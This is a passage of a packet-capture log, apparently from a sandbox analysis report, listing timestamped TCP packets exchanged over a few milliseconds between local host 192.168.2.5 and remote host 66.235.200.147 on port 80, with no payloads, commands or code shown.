Nov 27, 2022 04:36:43.100718021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100733995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100755930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100774050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100799084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100801945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100821972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100833893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100847006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100856066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100872993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100883961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100897074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100898027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100920916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100923061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100944042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100945950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100967884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100987911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100991964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101002932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101017952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101038933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101041079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101052046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101066113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101075888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101090908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101114035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101124048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101138115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101146936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101156950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101171970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101172924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101196051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101197004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101222038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101226091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101246119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101247072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101270914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101278067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101294041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101306915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101319075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101330042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101342916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101346970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101366043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101371050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101383924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101389885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101413965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101414919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101438999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101463079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101476908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101476908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101488113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101492882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101511955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101526022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101536989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101558924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101582050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101582050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101582050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101602077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101608038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101615906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101639032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101639986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101663113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101665974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101684093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101689100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101710081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101712942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101737022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101759911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101764917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101783991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101788998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101808071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101818085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101830959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101843119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101852894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101857901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101881981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101882935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101905107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101908922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101928949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101934910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101958036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101969004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.101980925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.101994038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102005005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102013111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102029085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102031946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102050066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102055073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102080107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102103949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102106094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102127075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102135897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102159977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102161884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102184057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102185965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102209091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102212906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102232933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102245092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102257967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102272034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102283955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102302074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102310896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102317095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102335930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102346897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102366924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102376938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102390051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102391958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102416992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102421045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102440119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102446079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102464914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102479935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102503061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102508068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102525949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102535009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102550983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102555990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102575064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102597952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102617979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102624893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102632999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102649927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102664948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102674961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102695942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102699995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102725983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102742910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102760077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102761984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102782965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102802038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102802992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102802992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102824926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102853060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102855921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102874041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102890015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102904081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102916002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102931976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102940083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102962971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102966070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.102977991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.102991104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103007078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103015900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103033066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103040934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103058100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103065014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103081942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103089094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103101969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103112936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103131056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103141069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103152990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103174925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103178024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103199005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103220940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103221893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103240967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103269100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103281975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103549004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103661060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103688002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103713036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103735924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103748083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103759050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103775024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103782892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103790998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103806973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103821993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103832006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103840113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103859901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103863001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103885889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103889942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103907108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103913069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103938103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103950024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103961945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103976011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.103987932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.103996038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104007959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104026079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104043961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104065895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104089975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104099989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104113102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104130983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104137897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104150057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104161978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104177952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104195118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104202032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104219913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104226112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104249954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104259014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104274988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104286909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104300022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104315042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104324102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104346991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104352951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104365110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104387045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104403019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104419947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104425907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104434013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104461908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104464054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104477882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104491949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104506016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104518890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104533911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104547977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104561090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104573011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104585886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104598045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104610920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104624033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104635954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104650021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104662895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104675055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104693890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104707003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104718924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104732990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104747057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104767084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104784966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104789972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104804039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104804993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104824066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104844093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104847908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104862928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104865074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104882002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104897976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104899883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104918957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104923010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104937077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104937077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104957104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104968071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.104970932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104984999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.104996920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105010033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105021954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105035067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105047941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105062008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105073929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105087996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105099916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105113029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105127096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105144024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105156898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105170012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105184078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105204105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105223894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105242014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105261087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105278969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105298042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105314970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105331898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.105333090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.105331898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.105331898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.105331898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.105357885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.105357885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.105429888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.110851049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.110879898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.110918045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.110937119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.110955000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.110972881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.110991955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111010075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111030102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111048937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111067057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111084938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111104965 CET	80	49705	66.235.200.147	192.168.2.5
